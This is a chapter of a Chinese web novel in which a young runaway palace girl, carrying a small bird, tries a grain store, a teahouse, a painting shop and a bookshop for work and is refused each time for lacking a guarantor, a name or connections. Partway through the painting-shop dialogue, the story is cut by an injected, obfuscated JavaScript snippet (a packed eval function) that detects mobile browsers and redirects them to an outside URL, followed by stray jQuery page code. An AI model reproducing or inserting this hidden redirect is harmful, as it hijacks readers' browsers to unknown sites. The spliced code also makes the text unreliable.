次日清早,宋文楚醒来时,宋展翅还在枕边缩成一团,她戳了戳,宋展翅迷迷糊糊睁眼。
“起了起了,今天找活儿去,别睡啦。”
宋展翅一听“找活儿”,立马精神了,撑开翅膀站直跳到她肩上。
宋文楚洗了把脸,将头发仔细打理好,照着镜子瞧过好几回,终于满意后把宋展翅往怀里一揣,下楼去了。
店小二正拿抹布擦桌椅,见她下来抬头笑道:“姑娘起得早,可要吃点什么?”
宋文楚摸摸袖子里,囊中羞涩。昨夜出宫什么都没带,一个子儿也没有。
“不用了,给我退房吧。”
“好嘞,姑娘慢走,”店小二在后头喊,“下回再来啊!”
宋文楚头也不回。
下回?下回我都有住处了,还来你这儿?
客栈门向东走段距离就是一整条街市。色香俱全的零嘴点心,纷华靡丽的锦罗绸缎,两边商铺也都开了门陈列出各家风光,景况蔚为壮观。
宋文楚站街口四下望望,心里瞬间有底了。机遇遍地皆是,寻个差事还不是手拿把掐。
她看到第一家,是间名为“丰裕粮行”的粮店。她揣摩过几遍语气,觉得差不多了抬脚进去。
柜台后头坐了个中年男子戴着副铜边叆叇,正在拨算盘珠子,听到动静顺口问道:“买粮还是粜粮?”
“不买也不粜,”宋文楚走上前,“先生,你们这儿缺不缺账房先生?”
算盘珠子停了,中年男子抬眼打量她。眼前的丫头看着就不像普通人家出来的姑娘,衣裳是上等料子发髻也梳得齐整,怀里鼓鼓囊囊的不知揣着什么。
中年男子笑了,那笑不是对顾客热情的笑,是觉得新鲜的笑:“小丫头,你多大了?”
“十二,快十三了。”
“十二岁做账房?”他摘下叆叇,拿袖子擦了擦,“我在这行干了快三十年,十二岁当学徒的时候才刚摸着算盘呢。你说你要做账房?”
宋文楚皱眉:“做账房跟年纪有什么相干?我会不就行了。”
“那你会什么?四书五经读过么?《九章算术》学过么?”
“都读过。《九章算术》对我来说还是浅了些,我看的是《数书九章》。”
中年男子干笑两声:“成,就算你读过。”回头冲里屋喊,“老周,出来瞧瞧,有个十二岁的姑娘来应征账房。”
里屋钻出个瘦老头,上来就问:“有保人么?”
宋文楚还没听说过:“保人?”
“对啊,保人。账房先生经手银钱,总得有人担保不是?你找谁担保?”
中年男子提醒:“除了保人还有路引。你是哪儿人?家在何处?这些东西都没有,万一你卷了银子跑了,我找谁去?”
宋文楚急了:“我不会跑的。”
“你嘴上说不会跑,我就要信你?那我问你啊,你在京城中有什么亲戚么,可认得哪个有名有姓的人物?”
哪儿人?宫里人。路引?没有。亲戚?有个摄政皇叔,有个太子哥哥,还有个皇帝父亲,可这些她能提么。
见宋文楚沉默不语,瘦老头摇摇头:“得了,小姑娘,哪来回哪去吧。账房先生不是那么好当的,就你这岁数先回家长个几年再谈。”
中年男人又戴上叆叇拨起算盘珠子,委婉表示送客。
她只好出来。
宋展翅探头咻了一声:怎么着?
“无妨,这家不行咱们换下家,总不至于那么背。”宋文楚一根手指把它按回去。
第二家是座三层高的茶楼,青瓦覆盖歇山顶,竹木搭架扎的彩楼欢门,很是繁华气派,只檐下挂着那块匾上的题字犹如苍蝇腿蘸墨乱舞,对比宋文楚五岁时的字迹都不如。
这家店生意倒是兴隆,时候还早着呢楼中却已然坐了好几位客,三五跑堂的端着盘子来回走,胖掌柜坐在柜台后头乐呵呵算账。
茶博士将宋文楚迎进门。
胖掌柜:“姑娘喝茶?楼上还有座——”
宋文楚摆手:“我不是来喝茶的。我想问问,你们这儿还缺人不么?”
“这儿不缺跑堂的了。”
“我不是来当跑堂的,你们茶楼门口那牌匾字迹丑陋,想必会影响进来茶客喝茶的心情。我可以给你们写新的,还能写对联或者招牌,我字写得好太傅都夸过,客人看了肯定想进来。”
胖掌柜:“太傅?哪个太傅?”
宋文楚噎了一下,含糊道:“就……就那个太傅。”
胖掌柜又哈哈大笑起来,笑得宋文楚莫名其妙。
“小丫头,什么太傅夸都没用。”胖掌柜抹抹笑出来的眼泪,“门口那匾是我写的。”
宋文楚:“……”她要是现在改口还来得及吗?
掌柜的见她那样儿,又笑了几声:“行了行了,小姑娘有骨气。但我这不缺人,你去别家看看罢。”
宋文楚灰溜溜狼狈逃离了茶楼。
她望着天出神。在宫里时,太傅明明说她字写得好,说放眼整个大梁像她这般年纪能写出这种字的屈指可数。
可现在她到了外头,别人竟连看一眼也不肯。
太傅骗人。
宋展翅探头:又不成?
一根手指毫不留情将它再次戳回去。
第三家是个书画铺子,门框左书“收古今名迹”,右书“售文房四宝”。
正对门的墙上挂着几幅字画,中间像是仿的倪云林笔意,可惜笔触生硬缺了他那分独有的疏淡清远逸气。旁边的工笔牡丹勾勒还算别致,毁在了秾丽的设色上,显得艳俗。
尽头一副是行书录的唐诗,字势开张,乍一看颇有米家风味。不过,啧啧,不如米癫纵逸。这家货色,也就中等水平。
一个戴着顶旧毡帽花白胡子的老头正伏在案上画画儿,宋文楚凑近些看。
老头搁下手中笔,抬首眯眼看她:“姑娘买画?”
“不买不买,我想问问,你们这儿收不收画?”
“收画?你有画要卖?”
“现在还没有,但我能画。我画的花鸟人见了都说好。”
花白胡老头笑了,那笑容跟前面两家异曲同工之妙。
“小丫头,你多大了?”
宋文楚回答地熟稔:“快十三了。可我的年纪跟画画不相干吧?只要画得好就行。”
花白胡老头捻捻胡子:“那你画一个我瞧瞧。”
宋文楚看了圈案上,笔是湖笔墨是徽墨,纸是宣纸砚是端砚,这倒都是些好东西。她拿起笔蘸了墨,刷刷几笔。
一只灰色的鸟扑棱着翅膀落在枝头,歪着脑袋活灵活现的。
花白胡老头举起来端详两眼,又端详两眼:“这是何物?老夫从未见过。”
宋文楚咳了一下:“此乃南疆异兽,名为鲲鹏。”
话刚落下,怀里宋展翅太兴奋了,不停地弄出动静来。
宋文楚顶着花白胡老头古怪眼神稳定不动微笑。
“这画工你是跟谁学的?”
“太傅教的。”宋文楚怕他追问,又飞快地补充一句:“以前家里请的先生。”
花白胡老头盯着那画看了又看,叹了又叹。
宋文楚本就等得心里发虚,现在更是被他这不上不下的态度搅了忐忑。方才她随性画的时候没怎么感觉,现在被花白胡老头以这种审视的目光去看,不得不紧张起来。
“小姑娘,画得很不错。真不错。”嘴上说着不错,声音却越来越低带着无尽的惆怅。
宋文楚挫败的信心被这一句重新点燃,果然还是有识货的!
“那收吗?”
花白胡老头摇摇头。
“不收。”
宋文楚愣了:“为何?你不是说画得不错么?”
花白胡老头点头:“是不错呀。这笔力一看就是下过童子功的功夫。鸟的神气更不是光靠练就能练出来的,想要画好,得有心,有眼,有灵性,缺一样都不成。老夫在这行混了四十多年,这样式个性鲜明的花鸟画却不常见。”
宋文楚听得心里发热,更疑惑了:“既然我画的好,那怎么不收呢?”
老头将画轻放下,往椅背上一靠,目光里多了些许深沉。
“姑娘,你可知我这铺子里卖的是什么?”
宋文楚:“画儿啊。”
“是画儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17279018|198335||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,可也不是画儿。”
他伸手指正对门墙上那几幅:“你瞧那幅山水图,属倪云林一路的,这是东城马秀才所画。马秀才会画么?会。画得好么?也还成。可人家来买,是冲马秀才么?不是。买家冲的是那落款——‘云林后人’才买的呀。”
他再一点那幅宋文楚嫌艳俗的牡丹工笔。
“那副是西街李娘子画的,李娘子的工笔在这城里也算数得上的人物。但买家来买,也冲的是那方印——‘天香阁’。天香阁是谁?没人知道。可那方印盖上去了,就有人认。”
老头收回手,重新看向宋文楚。
“姑娘,你这画拿到外头,只若内行看了都知道好。可内行又能有几个呢?十个里头能碰上一两都是顶天的了。剩下那八九个看画纯属看个热闹,在他们眼里,你的画跟街边那些行货摆一处无甚区别。”
“我这铺子卖的是名头。什么叫名头?某某山人,某某居士,某某堂主人。人家买画买的就是那个名,不是那几笔墨,几笔墨画再好能值几个钱呢——嗨,不说也罢。”
最后花白胡老头道:
“所以,任凭你的画再好,只要你没名头就卖不上价。卖不上价,我收了就会压在手里,一年两年卖不出去,亏的是我。姑娘,我也是开门做买卖的,不能做赔本的生意啊。”
宋文楚心里那团火渐渐熄下去。
面上第一次出现了迷茫。
她有本事。
那为什么没人要呢?
因为她没有名头。
花白胡老头见她那样儿,脸上露出些不忍来。
“姑娘,我说句不该说的——不提名头,只你这来路老夫也不敢多问。你来路不明不白的,我若收了你的画,回头有人找上门来说我这铺子收赃……唉,我这把老骨头,可再折腾不起喽。”
宋文楚临走前,花白胡老头从旁边抽出几张宣纸递给她:“拿着吧,没事练练笔。兴许哪天就出名了。”
宋文楚低头看看那几张纸,没接。
她转身往外走。
走到门口,只听到老头在后头喊:“小丫头,你那鸟画得真好!鸟的神气,老夫画了一辈子,也未必画得出来!”
宋文楚没回头。
宋展翅又从怀里探出脑袋,开始咻咻咻。
“别吵,我在想事儿。”
觉察出宋文楚神色不虞,宋展翅自觉钻了回去。
第四家是间书坊。她想着,这个总该行了吧?她会读书,会写字会背书,书坊总该用得着吧?
走到门口又停住了,她好像失去了进入的勇气。
深吸一口气再呼出,还是咬了牙走进。
书坊的掌柜是个斯文人,听她说完,便问:“会抄书么?”
“会。”
“抄过什么?”
“《论语》《孟子》《诗经》《尚书》……”她数了一串。
“字迹如何?”
宋文楚写了几个递给他,斯文人接过去看了也说不错。
如今听到这种话宋文楚已然欣喜不来,只怕下一句又要转折,果不其然——
“不过,我们这儿抄书的都是些老熟人,几十年交情了。你一个新来的没名没姓,我怎好把活儿给你?”
宋文楚忙道:“我可以先抄了让你看看,不满意不要钱,只要给我个住处和一口饭吃就好了。”
斯文人笑着摇头。
又是这样的笑容,宋文楚现在一见到他们笑心里就犯怵。
“不是这个理儿。小丫头你不懂,这行有这行的规矩。有好活,都是熟人托熟的生人只能靠边站。你回去打听打听,看谁认得我们这行的人,再让人领着来了,那才好说话。”
宋文楚从书坊出来,天已经快晌午了,她站在街边半天没动。
看着来来往往的人,肚子饿得发出鸣叫。
宋展翅这回自个儿钻出来,蹲在她肩上,咻了一声。
“你也饿了?”宋文楚问它。
宋展翅点点头。
宋文楚也犯不着摸身上,反正一文钱没有。
那家客栈房钱只付了一晚,今日夜里她恐怕连住的地方都没了。